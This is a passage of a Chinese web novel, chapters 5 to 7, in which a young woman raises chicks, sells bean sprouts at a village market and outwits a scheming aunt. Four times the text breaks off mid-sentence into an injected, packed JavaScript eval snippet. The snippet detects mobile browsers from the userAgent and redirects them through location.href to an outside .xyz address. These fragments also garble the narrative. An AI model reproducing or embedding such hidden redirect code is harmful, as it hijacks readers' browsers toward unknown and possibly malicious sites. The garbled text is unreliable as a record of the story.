“好来婶，有个事情想向你打听一下。你知道村里谁家卖小鸡崽吗？我想养几只鸡。” 好昕还小，要长身体。现在每天吃肉有点奢侈，但是努力努力每天吃个鸡蛋还是能满足的，再说吃不完的鸡蛋可以拿去买。 养鸡就是一本万利。 “你家院子大，确实是适合养鸡。”好来婶想了想道：“最近村里好像没听说谁家母鸡抱仔，但县里我知道一家有。你什么时候有空我带你过去。” 好安大喜，本以为要多等几日没想到现下就有。她还没去过县里呢，这次刚好可以逛逛，便迫不及待地回道：“我这几日都有空。” “那就后日，刚好你好叔也有空，让他给我们赶车。” 好安甜甜地笑道：“好，那我先谢过好来婶了。” 时间不早了，下午好昕还要上学，好安便起身告辞了。 好来婶看着好安精气十足的模样，发自内心的开心。 大伙都担心好安以后的日子怎么过，这不人家现在也把日子支棱起来了。而且这精神气可比一年前好多了呢。 第二天，好安一早便开始规划院子里的空地。 家里马上有鸡了，要赶紧搭一个鸡棚。她后面还准备在家里辟出一块菜地，所以鸡窝不能太大。 昨天采果子时她看到好山上有很多竹子，田桂说这些都是野生野长的，谁要用都能去砍。 山里的竹子多粗的都有，好安是第一次养鸡，不打算养多，先买个七八只，够她和好昕每天吃个蛋，偶尔杀一只就行，便只砍了几根手腕粗的。 手腕粗的竹子算细的，好安用刀绕着竹子砍上一圈就倒了，再用刀背打枝，削去顶端不能用的，一根竹子还有好长。 这些都算轻松，只要可能花力气就能解决，把竹子扛回院子后难题来了。 两根竹子之间她要怎么固定呢？ 榫卯结构她是略知一二，可是要怎么在竹子上钻孔呢？ 好安在家里翻了一圈都没找到合适的工具。 日头越升越高，眼看就要中午。 好安连忙放下手里研究半天都没研究明白的竹子，去水井边上洗手。 厨房里菜种类少得可怜，只有豇豆和青菜，鲜肉也没有，倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950784|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有几块咸肉。 好安取了一拳头大的咸肉切成丁，又把豇豆抄一下水也切成丁。她准备做咸肉菜饭，家里是铁锅土灶，这样做出来的咸肉菜饭还有黄灿灿的锅巴。 猪油在锅里化开，好安利落的把咸肉丁和葱姜倒入锅里，都还没开始炒香气就冒了出来。 不说这一年，就她来的这几天，天天吃素。空气中的肉香不仅让她肚子咕咕直叫，还让她两眼发绿。 好安翻炒几下，把咸肉煸出油脂就放入豇豆，这下不止咸肉，连豇豆都变得亮晶晶的。 浓郁的菜香传出窗户，隔壁同样正在做饭的刘三嫂嗅了嗅鼻子：“谁家做饭这么香？”说完，又不舍的多吸了几口。 刘三嫂的小儿子也闻到了这个味道，哒哒跑到厨房，抱着她娘的的小腿哼唧道：“娘，有肉味。我也想吃肉。” “今天没肉吃。。”刘三嫂毫不留情的打断小儿子的撒娇。 “不嘛——”刘三嫂小儿子见吃不到肉便开始在地上打滚。 好安这边还不知道因为她的咸肉菜饭，一顿男女混合双打即将上演。 她拿出今早出门时提前泡好的米，沥干水倒进锅里和咸肉豇豆多炒了一会，见炒得差不多了加开水煮。 这个时候就可以尝咸淡了，好安调好味道等水煮得半干便盖上盖子把火调成最小。 她算了算时间，等好安回来，就差不多就能吃饭了。 于是好安又回到院子和竹子死磕。 她原本计划先搭个棚子，然后在棚子里放个梯子一样的架子，这样鸡就可以一层一层的落在上面，能省不少的空间。 可现在看来她能把棚子搭起来就谢天谢地了。 好安找来家里最小巧的刀具，把刀锋的一个尖尖抵在竹子上转呀转。结果转了半天竹子就破了个皮。 不可能一定有其他办法。 好昕还没到家就闻见浓浓的饭香，米饭的清香中带着肉的咸香。 不知道是谁家做的饭，好昕摸了摸自己瘪瘪的小肚子，突然有点羡慕能吃到这个饭的人，但随即又想了想，姐姐自从病好了以后整个人都精神了很多，饭什么的好像也不是那么令人羡慕了。 好昕一进院子便看见姐姐蹲在院子里，拿着一个竹椅翻来覆去地看，边看还边念叨，“这是怎么凿出来的啊。” “姐姐是准备做什么吗？”好昕满心欢喜地跑过去，看看自己能不能帮上什么忙。 “好昕回来了呀。”好安把椅子放下，站起身。 “嘶——”久蹲让人眼前发黑，好安双手支着膝盖说道：“准备搭个鸡棚养鸡。这样我们就有鸡蛋吃啦。” “我要帮姐姐搭鸡棚！”好昕放下背包就准备干活。 “先吃饭。”好安拉过好昕的手放在盆里洗了洗：“饭前便后要洗手，记住了吗？” “记住了。” 好昕走进厨房才发现原来路上的饭香是从自家飘出来的。 “哇。”惊叹的小嘴能塞下一整个鸡蛋。 “尝一尝姐姐的手艺。”好安盛了一碗咸肉菜饭，还撬下一块金黄的锅巴盖在饭上。 “好吃。”好昕还没吃就给出了一个肯定的答复。 有这么捧场的弟弟，好安忍不住笑道：“好吃就多吃点。” 5. 鸡崽 第五章 好安没有把好昕说要帮他搭鸡棚的事情放在心上。 于是吃完饭，她一个人搬了个板凳继续坐在院子里研究。但好昕却记得此事，主动把碗洗干净后凑到姐姐身边。 “姐姐想搭什么样的鸡棚？” 好安没嫌好昕打断她的思路，拿起一根树枝在地上画了个四四方方的棚子说道：“就和我们的房子差不多，两面靠着院墙，两面用竹子围住，然后在里面撘一个斜着的梯架。” 好安最开始是设计把鸡棚搭成蔬菜大棚的模样，但是家里没有足够多的草席盖在四周，便最终选择了一个用草席最少得方案。 可这样还是遇到了问题，没有钻子钉子要怎么把两根竹子固定住？ 她绑的绳子总是不紧，晃动几下就散开。模仿榫卯结构她又凿不出合适的洞。 愁得她头大。 “我知道。”好昕看着竹子上松松散散的麻绳，一眼就知道姐姐遇到什么困难。 他拿起斧头把竹子从中间劈开。 裂开的的竹子明显好凿很多，他换了吧小一点的刀，在需要固定的地方凿出豁口，豁口不需要刚刚好，只要能固定住竹子不滚动就行。接下来再用绳子打个十字结便稳当了。 “昕昕好厉害！”好昕干脆果断的操作，把好安看呆了，就算稍有停顿也是因为年纪小，力气不够。 在好昕的指点下，好安没一会便把鸡棚搭好了，里面的梯架底部戳进土里，上面直接靠在墙上。四周不是有墙就是有竹子围起来栅栏，鸡插翅难逃。 “明天姐姐要去县里买小鸡崽，昕昕有什么想吃的吗？姐姐买回来。” 好昕想了想说道：“家里米快没有了，姐姐记得买米。” 好安揉了揉他的脑袋没说话。 这个弟弟真是懂事得让人心疼。 好安回到屋里，打开钱匣子。钱匣子里有一个大银锭，大概十两，还有一串密实的铜板，八九百个。 这应该是家里全部积蓄。 看着不少，但如果只出不进的话，最多两年，她和好昕的嘴都要吊起来。 赚钱，必须赚钱。 但该花的钱还是要花。 好安算了算，她准备养八只鸡崽，一只公的，七只母的。鸡崽每只四文左右，差不多要四十文。 还有中午做饭的时候，家里米缸里的米所剩不多，也要买。 米、面、油、盐…… 好安多数了点放在荷包里。 ———— 第二天依旧是个晴天。 虽然是夏天，但早晨的太阳还是柔柔的，风清爽而又惬意。 牛车速度不快，但胜在稳，一个时辰便到了县里。 万和县在好村的北边，河流纵横，水面上飘着的乌篷船穿梭在巷陌之间，道路两旁摆了不少摊子，有卖菜的，卖鸡蛋的，卖布的，五花八门。 “我们把车朝里停停，回头拿东西就少走一段路。”好旺叔把牛车赶在一家店铺后门。 好安抬头看去，有小厮抱着菜来来回回的走动，这应该是家酒楼。 “这里可以停车吗？” “可以，你给个几文钱他家还帮你喂呢。” 好来婶率先跳下车。 “走，我们去看小鸡崽。” “好旺叔呢？”好安看着还在栓牛并且完全没有根上打算的好旺叔问道。 “他去前面听说书。”好来婶指着不远处的茶棚道：“他就好这个。” 说完好来婶带着好安七绕八绕的的来到一户人家的后院。 “张婶在家吗？”好来婶边叩门边喊。 “在的，来啦。”没过一会，后院门便开了一条缝，探出一个头发微微花白的脑袋：“呦，好来呀，快请进。” 张婶敞开院门，对他们做出邀请。 好安一面跨进门槛，一面悄悄打量着。 院子很大，靠墙的四周种着一种带刺的植物，不高也不矮。院子中间有条窄窄的石板小路，小路的两边围着紧密的篱笆。 这个院子除了房屋和这条路，其他的地方都被围起来养鸡了。本应该是脏乱臭的环境，但被打扫的十分干净，不像其他养鸡的人家有股浓浓的鸡屎味。 “今怎么有空来县里？” “来找你买小鸡崽。” “那你来的巧，刚好有一批，有膘有毛有骨气。”张婶子说着拎起一笼子放到空地上。 笼子里一个个圆乎乎的脑袋像小毛球一样挤在一起。 “随便你挑几只都给你老价格。”张婶子豪爽地打开笼子，将小鸡崽推到好来婶面前。 好安想多买些母的，可盯着好来婶随手抓起的两只看了半天也没看出什么不同，疑惑问道：“这个怎么分公母？” “小姑娘第一次买小鸡崽吧。”张婶子哈哈一笑，但并没有嘲笑的意思：“鸡太小了，分不清公母的。是公是母随缘。” 好来婶也跟后补充到：“这个是不好分，但大多数大一点是公鸡，小一点是母鸡。” 好来婶将手里的两个塞到好安手中，开始教好安怎么挑。 “摸摸它的肚子，太硬的不好。” 好安轻轻用食指抚过，这两只的肚子都是柔软有弹性。 她没想到挑鸡崽子还有这么大的学问，赶紧的蹲在鸡笼边虚心讨教。 这次是好来婶带着来，有人指导，以后若是还想买，总不能次次麻烦他人，还是自己学到手最重要。 “要选精神的，眼睛亮的，脚上没干皮的，屁股也要干净……” 最后在好来婶的参谋下，好安一共挑了八只小鸡崽，只花了三十文。 “姑娘好眼光，个个挑得好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950785|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好安笑了起来：“是您的鸡养的好，怎么挑都是好的。” 这话张婶听着舒心，伸手从墙上扯下一个笼子：“这小丫头我喜欢，我再送你一个新的鸡笼子，”说着还帮好安把小鸡崽放了进去：“我家的鸡爱吃瘪谷、稗子和野胡豆，每天喂上一点能精神一整天。等它在长大些，把母鸡和公鸡分开，多喂粮食，就能一直下蛋。不管水煮还是炒都好吃。” 这些都是技巧，好安连忙用心记下。 好来婶将鸡笼放回牛车，问道：“安安还要卖些别的吗？” 好安掰着手指说道：“米油盐酱家里都不多了，都要添点。” “这个我知道谁家的最划算。米价都大差不差，油和酱差的多些。盐你可以先少买一点，回头有货郎去村子里那个便宜。”好来婶一边带路一边说，最后停在一家粮食铺前：“这家是镇上最大的，价格比小贩子的公道。” 铺子门头看着不大，里面却很深。 没有花里胡哨的装饰，铺子四周都打了柜子，正中间是一张长长桌子，上面整齐摆放着大小统一的布袋子，每个布袋子里装着不同的粮食并写了价格，简洁而又分明。 “黄豆。”黄豆是这里的主食之一，放在一个十分显眼的位置。 “这黄豆看着不错，光亮干净。”好来婶说完拿起一颗放嘴里咬了一下，黄豆发出清脆的声音：“干的，我拿一点。” “掌柜，我拿两斗。”好安瞧见旁边的绿豆也不错又继续说道：“绿豆也拿两斗。” “这么多，你是要拿豆子当饭吃？”好大娘眉头微蹙，一脸不赞成地说道：“豆子吃多了会胀气。” 好安知道好来婶是好心，便解释道：“没事，这个我准备用来做菜的。” 好来婶狐疑，黄豆再怎么做菜它还是黄豆。 “那你们每次不要吃太多。”好来婶还是不放心地叮嘱了一句：“你要是有什么困难就和婶子说，不许自己憋着。” 好安上前笑嘻嘻地挽住好来婶胳膊，说道：“好。” 她刚刚在来的路上想过了，她最拿手的是做甜品，要是能开一家甜品铺子，养她和好昕绝对绰绰有余。 可惜理想很丰满，现实很骨感。 光一个铺子的租金，把家里所有的钱都搭进去也不够。 再加上大晏的糖是真不便宜。 一块指甲盖大的饴糖就要一文，一斤红糖六十文，一斤蜂蜜更是上百文，要知道一斗白米才五十几文。 铺子现在是指望不上了， 但她刚刚一路走来好像发现了一点小商机。 路上，她一直在观察街边的小贩在卖些什么菜，样式不少，但就是没有一家卖豆芽。 好安估摸着要么是豆芽现在不当季，要么是这里就没有豆芽。 不论是哪种情况她都有优势。 6. 豆芽 第六章 “你家这鸡棚怎么搭得这么高？”好来婶一进好安家院子就看见快和墙头一样高的鸡棚。 好安把竹门打开，露出里面的构造，说道：“里面架子高，所以就搭得高些。” 好安把鸡笼放进去，又顺手撒了一把瘪谷，出来就瞧见好来婶的眼睛就快长在梯架上了，舍不得移开半点。 好来婶左看右看，又晃了晃梯架，便发现了这个梯子的妙处。 “你这个梯子有三层，每层都能站好几只鸡，这样既不占地方又能养好多只，好办法。”好来婶帮着好安在鸡棚里垫稻草，说道：“你家鸡现在还小，看不出来，等再大点就知道了。住得舒坦，到时候肯定能多下蛋。” “这个还是昕昕帮我搭得呢。”好安说起弟弟满脸的骄傲。 “好昕长大啦。我回头让你叔也搭一个。” 好安指着梯架说道：“我家养的少，就搭了一侧。养的多可以搭双侧，这样能站的更多。”说着，拿起地上的树枝画了一个人字梯架。 “双侧的更稳。” “这个好，”好来婶连连点头，说道：“我现在就回家让你叔去砍竹子，找木头。” 说完好来婶就出门催好旺叔赶紧回家，好像再不回去木头和山里的竹子就要被人抢了似的。 好安送走好来婶便开始发豆芽，好村过几天有集市，希望能赶上。 好安从厨房翻出两个不常用的木盆，一个放黄豆，一个放绿豆，井水浸泡。 晚上，好昕放学回来还主动帮忙换了水。 浸泡一夜，第二天好安一醒就去把泡豆子的水倒干净，又用凉水冲了一下。 长圆的豆子在太阳下黄亮亮的。 “昕昕，你知道家里的竹筛子在哪吗？” 好安今天到处翻找也只找到了五个，她记得家里一共六个的，之前还看见了，怎么就不见了呢。 “在这里。”好昕跑到鸡棚里拿出竹筛。原来她昨天准备拿去给鸡崽做窝。 好安拍了拍脑门，再买一个吧，反正隔壁的李叔就是卖这些的。 先把水烧开，好安将竹筛挨个扔进去烫了烫杀菌消毒，接着沥干豆子的水分，在竹筛上铺一层湿润透气的麻布，将豆子和洗干净的石子均匀的倒在上面，再铺上一层同样的麻布，最后把它放到通风但是不见光的地方，后面只要每天冲下水就可以了。 好昕没见过这样种菜的，趴在竹筛边好奇地问道：“这样就会变成豆芽吗？” “是呀，”好昕的脑袋圆乎乎的，好安总是控制不住地摸上去：“过几天昕昕就可以多一道菜啦。” 自打豆芽蒙住以后，好昕每天一吃完早饭便跑到竹筛子边眼巴巴的望着。 没几天，豆芽便把麻布顶了起来。 “姐姐，它好像长高高了。”好昕指着湿布大声说道。 “今天中午就可以吃啦。”好安把竹筛子端到厨房，掀开盖在上面的湿布。 “哇，好多呀。它们好白呀。” 地里种得总是会带点泥土，水培的就干净许多。好昕看着一簇簇又白又嫩的豆芽惊叹好神奇。 “黄豆变成豆芽就不会胀气啦。” 好安将黄豆芽绿豆芽各分成两部分：“这个我们要送给好来婶，昕昕知道为什么吗？” “知道。好来婶帮了我们家很多忙，先生说做人要学会感恩。” “对。”好安满意地笑了笑。她可不希望弟弟长成白眼狼。 中午，好安用豆芽做了三菜一汤。 黄豆芽炒肉丝，凉拌绿豆芽，绿豆芽炒鸡蛋还有豆芽肉沫汤，用了半斤黄豆芽，一斤绿豆芽。 一升黄豆三文钱，可以发五斤黄豆芽，一斤黄豆芽可以炒两盘甚至三盘菜。 一升绿豆四文钱，可以发六斤绿豆芽，一斤绿豆芽也可以炒两个菜。 饭后，好安把剩下的豆芽简单的理了理，还剩十斤多黄豆芽，九斤多绿豆芽。 她把豆芽先按斤捆好，捆完了又发现好像有点多，万一有些人家人口少只想要一点呢？ 于是好安又把稻草揭开，换成六两一捆。这回大小刚好，还方便拿着。 一共四十捆，一捆一文钱，比青菜还便宜一些。 天热，为了防止坏掉，好安将分好的豆芽放进罐子里，添了点水，把罐子悬在井里，这样可以保存到三天。 没过多久，好来婶扛了个冬瓜过来：“家里多的，吃不完。” 冬瓜个头不大，瓜蒂上还渗着汁液，一看就是刚摘的。 菜地还没辟出来，家里菜的种类很少，只有青菜和豇豆，好安确实有点吃腻了，想换换口味，就不客气地接下了，转身又给好来婶拿了好几捆豆芽。 “你今天给的豆芽真好吃，我家今晚的饭菜都没有剩的。明天一定好卖。” “借您吉言。” 送豆芽的时候她特意问了好来婶，确定豆芽这里没有，至少村里和县里没有，但她不知道这里人的口味更偏好哪种，便问道：“黄豆芽和绿豆芽好来婶觉得哪个更好吃？” “我和你叔喜欢黄豆芽，云丫头喜欢绿豆芽。”好来婶咂了咂嘴，回忆道：“黄豆芽有嚼劲，绿豆芽太水，一炒就没了，但绿豆芽更容易入味，更爽口，反正都好吃。” 好昕也喜欢绿豆芽，云丫头不爱嚼东西也喜欢绿豆芽。好安心里大概有数了。 第二天，平日里空荡荡的晒谷场挤了不少人。有的是买东西，有的是卖东西。 好安和田桂早起占了一个中心位置。 看着一个接一个的人头，好安问道：“怎么这么多人？” 田桂道：“还行吧，可能有些外村的，但我们村人本来就不少，而且这次是小集，如果是月中的大集人更多。” 好安见有人走了过来，便赶紧将豆芽掏出来，放在提前备好的盆里开始吆喝。 “卖豆芽喽——绿豆芽，黄豆芽，新鲜的豆芽。” 每根白嫩嫩的豆芽上没有一丝泥土，搭配着嫩黄嫩绿的豆瓣看着就让人舒心。 大伙没见过这种菜都纷纷围着，只看不买。 围着的人太多难免溅起一点泥土，豆芽溅上泥土可就不好看了。 好安连忙起身把自己坐的凳子放到盆下面。 “这什么啊，怎么没见过？”刚把盆抬高便有好奇的忍不住问了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950786|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这是绿豆芽和黄豆芽，一文钱一捆。好吃又便宜。” 豆芽的优势就是便宜。果然，大家一听一文钱一捆就开始犹豫了。 “绿豆芽看着也太细了吧，怎么和黄豆芽一个价呢。” “但我们这一捆量多呀。”好安拎起一捆，一边称重，一边说道：“你看和黄豆芽重量一样的，足两。” “能尝尝吗？”有人对绿豆芽来了兴趣。 “能，当然能。”好安赶紧拿出一些零散的，分给大家尝尝，“是不是脆脆的，还有点甜。这个放锅里只要简单的炒炒，就是一盘好菜。” 一个挎着菜篮子的年轻小媳妇尝完后，问道：“这个只能炒？” “怎么都行，能炒菜能煮汤。可以和肉丝或者鸡蛋搭着炒。”好安指着绿豆芽说道：“哪怕寡炒加点醋就特别下饭，老人孩子都爱吃。” “这小姑娘可真会说。”周围人见好安说得头头是道都有点馋了。 年轻小媳妇也没忍住，指着盆道：“我拿一捆，试试看。”说完递给好安一个铜板。 “好嘞。” 有人开头便有人跟风，更何况还是新鲜事物。 “我来两捆，一捆黄豆芽，一捆绿豆芽。” “前面不买的让让，我也要。” 没过多久三十几捆豆芽就卖完了。 “小姑娘你准备的太少了。”没买到的人一脸不悦，想尝鲜都没机会。 好安也没想到居然卖的这么快，大伙对新鲜事物接受度好高，她准备下次再发一点花生芽试试看。 “十天后，下次赶集我还在。到时候我一定多备，尽量让大家都买着。” 第一次出摊成功，好安也不逗留，买了一条肉开心的回家了。 ———— 今天集市，王翠花也买了一块肉做炖豇豆。 菜刚好，还没盛出来，好方就闻者味来了，迫不及待的从锅里夹了两大块肉。 好雪坐在里面烧火，看见亲哥一副馋鬼投胎的摸样气不打一处来，开口嘲讽道：“吃吃吃，就知道吃。你明明和成言哥一起上的学，成言哥都考上秀才了，你怎么连童生都不是。就知道吃！” “谁准你这么说你哥的。”王翠花不乐意别人说他儿子不好，哪怕这个人是她女儿也不行，“读书多累。不吃饱了怎么读，怎么考秀才。”说着王翠花又夹了一块肥肉喂给儿子。 好方满满地塞了一口，得意的朝好雪看了一眼，存心说道：“娘，肉真好吃，我明天还想吃。” “娘明天再买。” 好雪看着毫不知羞的好方，忍不住翻了个白眼，“等他考上秀才还不如我嫁个秀才来得快。学这么多年，童生都考不过，还秀才，我看不如回来重地。好安都知道去集市上卖东西挣钱，他就知道吃。” “好安去集市上卖东西了？”王翠花盛菜的手一顿。 “对，卖什么豆芽菜，都卖光了。好多人想买都没买着。集市散的时候我看她手里还拎了一条肉呢。” “挣钱了？” “当然，她摊子上围得可是里三圈外三圈。” 王翠花不说话了，眼珠子却转了起来。 7. 搞事 第七章 吃完早饭，好大山碗筷一丢，一声不吭地拿起鱼竿，拎着水桶朝外走去。 一年十二个月，一月三十天，只要河水不冻上，好大山便天天如此，家里事不闻不问，只关心河里有没有鱼。 儿子好方也有样学样，但他吃完饭不朝外跑，他喜欢朝屋里跑。 “娘，我去看书了。”好方也不说是什么书，反正禁书也带着书字。 “就吃一碗，要不要再吃点。”王翠花笑着接过碗，一脸关心道。 “吃饱了。”好方微微将头转向一边，眼睛路露出一丝不耐烦的神色。 王翠花见儿子如此，以为自己打扰到他了，连忙说道：“那你快去，想吃东西了就和娘说，娘给你做。” “知道了。”好方敷衍地点点头，起身回屋，脚步里透着一丝焦急。坐在旁边的好雪神色鄙夷。 她看见她哥这模样，白眼都不想翻，嫌累。 “娘，我吃好了。”好雪也放下碗筷，准备起身，却被王翠花按住。 “赶紧把这些刷了。” “娘，今天你帮我洗好不好。”好雪拉过王翠花的手，嘴角勾起讨好的笑容，撒娇道：“我昨天和你说好的，今天约了人，时间马上就要到了。” “说什么了？我同意了吗？这几个碗能花你多久？”王翠花毫不留情地把四个碗，两个碟子朝好雪面前一推，说道：“不洗完，不准出门。”没有丁点商量的余地。 “我就知道。”好雪小声嘟囔。 王翠花正要进屋换身衣服，还是听见了好雪的抱怨：“你说什么？” “我说我知道了。”好雪抱着碗筷，气呼呼地转身离开。 “我是为了你好，知不知道。你以后嫁人这些事都要做，我是好心让你熟悉熟悉。” 好雪撇撇嘴，没说话。 等日头升的差不多了，王翠花便换上一身旧衣也出门去了。 隔壁邻居刚回来，门还没打开便瞧见王翠花穿得破破烂烂的在锁门，一副准备出去的模样。 王翠花这副打扮可不多见，出于好奇，她偷偷地瞄了两眼，疑惑道：“王翠花平日里穿得人模狗样，今不知怎么了穿得灰扑扑的。” “能干啥？现在又不割麦子，也不种稻子，只能是搞幺蛾子呗。她往哪去了？” “东边。” “东边不是好安家吗？好安最近得罪她了？” “没听说。走，去看看。” 好安这边正在厨房里烧秸秆，准备做冬瓜糖。 秸秆燃烧后的草木灰是一种天然碱源。用它泡冬瓜条，可以使瓜肉硬化，熬煮的时候不易软烂。 盆里的火苗还没熄灭，院外突然传来一声撕心裂肺的嚎叫。 “老天啊，我怎么这么倒霉啊——” 王翠花到好安家门口，见院门大敞，先是鬼鬼祟祟地伸头朝屋里探了探，确定里面有动静，便回到院门口，一屁股坐在地上，开始嚎叫。 “我干了半天的活，只是想去侄女家讨口水喝，没想到侄女嫌我脏，就把我赶出来了呀。” 王翠花的嗓门十里八乡出了名的亮敞，没两句就传了老远，勾来不少闲人。 “姐姐。”好昕听到王翠花的声音，吓得一哆嗦，立刻缩到好安身后，紧紧抓着她的衣袖，脸上流露出害怕的神色。 “怎么了？” “大伯娘，她好凶。” 人还在门外呢，就能让好昕害怕成这样，好安心里不由恼火。看来王翠花以前没少欺负她们。 “没事，姐姐在呢。”好安捏了捏弟弟的小手，安慰道。 她原本只是想出去和王翠花骂上两句就算了，现在却改变了注意。 “你知道她占过咱家多少便宜吗？” 好昕掰着手指头数了数，发现手指不够用了，委屈说道：“好多的。” “那就说最近的。” “大伯娘每个月都要来我们家拿吃的。她有一个罐子，专门来要米。”好昕大概比划了一下，不到一斗。 “没有吃的就要钱，我上次看见她从娘亲手里抢了好几十文。”好昕越说小脸越鼓，拳头也握得越紧。 “这样啊。”好安眼里闪过一丝算计：“走，我们去把你上学的书拿着。” 二人从后院绕到好昕的房间，翻窗拿包，又带着好昕回到后院。 好安家后面是空地，离山有点近。为了防止山里的一些野物，所以后院的围墙修得很高。 她拿来梯子，抵着墙，找了五六个草垛子扔过去，然后让好昕先爬上墙头。 “昕昕，趴下些，头低点。”好安一边顾着好昕，一边盯着前院的动静。等好昕骑在墙头上，自己先翻过去，才把好昕抱下来。 “那我们不管她了吗？” “我看她嗓子挺好的，先让她喊一喊。” 好昕有点担忧，自家院门还开着呢。 “她会不会闯进家里抢东西。” “不会，她现在是弱者形象，要博同情，不会当着这么多人的面闯进来的。” 好昕似懂非懂的点点头，姐姐这么说就一定有这么说的道理。 “你去上学。” “不要，我要保护姐姐。”王翠花在的时刻在好昕眼里就是危险时刻。虽然自己也很害怕，但危险的时候更要陪着姐姐。 “不行。你要去学堂多多学习，学会识字明理，回家多多吃饭，变得高高壮壮，这样才能保护姐姐。” “哦。”好昕是个很好带的孩子，只要你能说服他，他就会乖乖听你话。 “咚咚咚”。 “好来婶，是我，好安。” 好来婶和好安家几乎挨着，好安一边猫着腰敲门，一边要避着看热闹的大伙。 门很快开了，但开门的不是好来婶，是好旺叔。 “好安？”好旺叔见到好安愣了一下，但瞬间就反应过来，连忙掩护着好安让她进来，还十分小心的看了看四周，见没有人注意这里才把门关上。 “你不在家？” “在的，刚从后墙翻出来。” “翻墙？”好旺叔一惊，说道：“你这孩子，你家后院围墙有多好高心里没数吗？这么危险也敢翻。” “没事，我最近有锻炼。”好安说着锤了锤自己的胳膊。 “锻炼也不行，这样太危险了。”好旺叔见就好安一人，好昕却不见身影，问道：“好昕呢？” “我让他上学去了。” “婶子呢？”好安看看院子，也没见到好来婶的身影。 “王翠花一来她就出去帮你吵架了。”好旺叔倒了一碗糖水，递给好安。 “谢谢叔。” 她在家忙着翻墙，根本没关心前院在吵吵什么，两耳朵都是王翠花的尖嗓门，她都懒得去听，便没留意到好来婶的声音。 “云丫头。”好旺叔喊来小女儿：“快去把你娘喊回来，但不能告诉别人安安姐姐在咱们家。办好了爹给你买糖吃。” “我要吃两个。”云丫头年纪不大，人却机灵得很，竖着肉肉的手指和她爹讨价还价。 “行，办成了就给你买两块饴糖。”好旺叔一口答应。买两块饴糖又不是让她一天吃完，这个主他还是能做的。 不出片刻，好来婶急匆匆的回来了。 院里没有多余的凳子，好安一见好来婶进门便立刻起身，把自己的凳子让出来。 “你坐，凳子够的。”好旺叔连忙挥手示意好安不用动，自己回屋搬了一个，让好来婶坐下。 “你这丫头，王翠花在你家门口说你坏话，坏你名声，你怎么一点都不着急？” “当然急，但我这大伯娘有戏瘾，先让她过过瘾再说。” 好来婶想了想，也是。 王翠花一吼大家就去瞧，是不是太给她脸了。 王翠花坐在地上从她嫁给好大山开始讲起，娓娓叙说好家三兄弟之间以前的感情多么深厚，到现在好安打她儿子，还嫌弃她脏，明里暗里都在说好安和好昕蛮不讲理，不尊重长辈。 一套话王翠花翻来覆去讲了不下二十遍，快两个时辰，院子里依旧没有任何动静。 “好安家好像没人。” “王翠花，你是瞎编的吧。” …… 面对大家的怀疑，王翠花心里有些犹豫，但一想到自己确确实实听到里面有动静，就立刻硬气起来，抬手指着院门说道：“当然不是，就是那丫头把我赶出来的，不然她家门怎么开着。” 另一边的好安则嗑着瓜子，苟在好来婶家门后，偷偷关注着事情的发展，直到听见王翠花嗓子发出不舒服的清喉咙声，才问好来婶借了一个篮子，搭上一块布，缓缓出去了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950787|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀，大家怎么都围在我家门口呢？”好安装着一副不知道发生了什么的模样：“我家是怎么了？” 大伙见当事人来了，纷纷让出一条路。 “大伯娘。你怎么坐在我家门口呢？” 王翠花已经开始新的一轮，刚讲到自己被好安嫌弃，撵出门时，抬头却突然看见好安站在人群里。 “你不是在家吗？”王翠花目光立刻变得慌乱。 “大伯娘，你说什么胡话呢。我刚从山里采东西回来。”好安主动上前扶起王翠花。 “不可能，我之前明明进去看——”王翠花突然意识到自己说多了，立马闭上嘴巴。 “明明进去看什么？”好安的声音像是春风中的柳絮，轻轻柔柔。 “咦，我家门怎么开了？”好安迟疑地看向王翠花。 “不是我，和我没关系。它自己开的。”王翠花连连摇头，极力否认的神情在大家眼里像是不打自招。 好安神情顿时变得低落，嘴角勾起一丝苦笑：“大伯娘说不是就不是。” “大家要进来喝杯茶吗？” “不用，不用。” “大伯娘来找我事由什么事吗？” “你，”王翠花被打乱节奏，一时不知道说啥，便随口道：“上次好安——” 